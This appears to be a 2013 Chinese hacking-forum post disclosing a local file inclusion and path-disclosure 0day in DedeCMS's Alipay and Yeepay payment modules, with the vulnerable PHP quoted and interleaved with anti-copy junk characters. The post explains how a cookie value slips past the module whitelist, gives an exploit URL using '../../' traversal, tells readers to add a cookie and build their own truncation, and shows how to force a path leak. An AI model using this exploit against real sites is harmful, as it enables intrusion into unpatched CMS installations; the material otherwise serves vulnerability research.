中国网络渗透测试联盟

标题: dedecms本地文件包含及物理路径泄露0day [打印本页]

作者: admin    时间: 2013-4-4 17:25
标题: dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
/ }1 t8 H# q8 Q) T  E/ p3 p+ P# L$ V6 o$ v7 w- g* e& d8 M
出现漏洞的两个文件为:
" ?: G2 d. ^( c& }- t: bInclude/payment/alipay.php
, S& E' a; }/ d8 p) FInclude/payment/yeepay.php2 g5 Q7 {1 T& X$ w/ c: L
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
+ n+ ]8 s# P9 R9 I+ F5 e' M& u9 q( K0 l# d# U3 R
Include/payment/alipay.php6 |' I; h( R9 h0 ]: i0 h
) s  O+ f5 M3 l
......
6 P' k" |. ~5 i   function respond()
% z+ @! J, L5 Z/ W7 a% T- n! V' r    {
2 R! {8 M( z: t( B        if (!empty($_POST))  `9 l. g- h& M/ L6 {  C
        {
9 k) J6 \2 }% ~" b+ E9 w            foreach($_POST as $key => $data)' |) @# J% G* A9 M* E  `
            {6 e9 X1 _3 e- h' {9 _# J2 |
                $_GET[$key] = $data;
. \% r3 @* o/ i% {            }% \3 U3 {* F  w3 z
        }
; S$ F, U! J9 F0 H        /* 引入配置文件 */$ b9 X, N' J  `8 q7 j- z* J4 U- Y" e
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
  U3 N* \4 r$ Y5 X6 Y: r' a...... : |: e# P$ o4 \
# q5 M- ?, @- S0 a, p1 H

( s" t4 q/ h" A% M大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
$ R, l( H) h% |; [' w5 D( p: |1 w5 Y
Include/payment/yeepay.php
. U5 X+ J' c% B0 T/ ~: h3 Q& [5 t4 h1 Y0 Q' M

1 _$ h: f$ z( c1 Y8 E$ A( m5 j4 J0 l; L! R, b
......# F; n, y3 J- m
    function respond()
, h7 z2 k( H4 N& a0 [, C1 i, ~- p' K    {: ?! f6 K) M: Z+ B& z) P$ i
6 F$ O6 g7 p2 U. m4 {7 g/ u9 l
        /* 引入配置文件 */
. }: R5 E" O$ Z: Q        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';! W) m: r2 {0 V$ F" X

8 @; w) C+ w; Q( i8 Y) f8 }2 l        $p1_MerId = trim($payment['yp_account']);2 ~( S. ]; m. p' w, k# ^! _
        $merchantKey = trim($payment['yp_key']);
8 g7 w+ G0 E7 @) ^6 y......
2 D0 N% f, M: o7 `# x, a- Z; L5 E
) n% i1 e2 k& |3 v# B- F4 N
: q5 z) G1 X4 U# _+ |: Z
/ G2 m# y; [' g7 C2 n( n" x! U  a7 B* Z6 X3 x! I9 K
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
0 h  ?8 g: G6 U" k# p4 @$ m* J  ?" A8 [/ }8 K$ y
这两个方法在plus/carbuyaction.php文件调用。/ T1 h, F9 f* F4 p% W% Z0 m
, h$ y! h/ O6 ?3 W
plus/carbuyaction.php
/ p! o/ D, l2 V. F. V- A% t  D2 F0 o/ c$ f0 t( l+ t4 h
......3 h/ c1 N. _9 L" r" j, ^1 R
} else if ($dopost == 'return') {1 {) J9 r6 o3 A* v! b+ O
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
7 A! @8 U; a6 P0 G% i4 g. I) R    if (in_array($code, $write_list))
1 `" t+ Q- [, i    {3 \" |& r  V+ R( k7 r- [
        require_once DEDEINC.'/payment/'.$code.'.php';2 R3 t* ^0 O& T$ h7 L# S' j" d% b
        $pay = new $code;
9 o6 Z) G* i& j$ _        $msg=$pay->respond();) T: k  p& K% B; O6 k. {/ {
        ShowMsg($msg, "javascript:;", 0, 3000);
' p. ?* `; r. [, W- I: j) {- i) }: |        exit();  ; D; R1 \( @2 P/ Y8 s2 ~/ b  F% w
    } else {9 W, t/ a) O& @, B- d. X
        exit('Error:File Type Can\'t Recognized!');# j2 }1 p! H7 j' t
    }
4 i  ~& c2 a. @* O: N}6 e. ~% t$ J1 a7 O
......
  E8 A3 [2 Y1 P
5 Y6 O; l; d% x7 X1 p1 s
# e2 [8 P( w% l% X- J 9 P0 v3 K" S1 E8 z6 g6 T, ~6 k/ R
( h; v; H$ n' R  j6 X" y8 o. ?
3 T7 z8 a* E) D( U

4 B& z. z! X9 d& R. ^+ }0 S大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。: {$ D6 D& r) @* ^
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
9 I  N. f0 d, Z1 e
! |& Q0 m5 C$ K% t4 X回到include/common.inc.php来看看他的机制。
- A/ H9 K. U- i& }( c
& M' ^8 d% _' {, K+ G
9 L. t2 k. ~( U) `. }( @9 R9 o1 \0 u, W( ^0 k/ B$ ?; s+ R% H
......6 i! h" d4 ?1 R
foreach(Array('_GET','_POST','_COOKIE') as $_request)
' [) X7 E8 g4 [% _  Y6 y$ K2 v{
/ X7 H; m# e2 F) C. z        foreach($$_request as $_k => $_v)
( ~! ~) ^2 ^" |/ P6 A8 ~0 j) u        {
9 U; V+ r4 f( ]% B. R8 x                if($_k == 'nvarname') ${$_k} = $_v;
+ H  X* d& M9 N( ~5 K0 q" P) z6 t- ~                else ${$_k} = _RunMagicQuotes($_v);
$ P/ u, P& ~8 S        }
5 d5 y3 \+ r6 G, w1 z}
0 z( V. L( P% v0 w: k+ l0 h+ j......
, e; ~& H, a+ N大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
1 \  W8 a* d* Z1 w- H: B$ M8 |由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2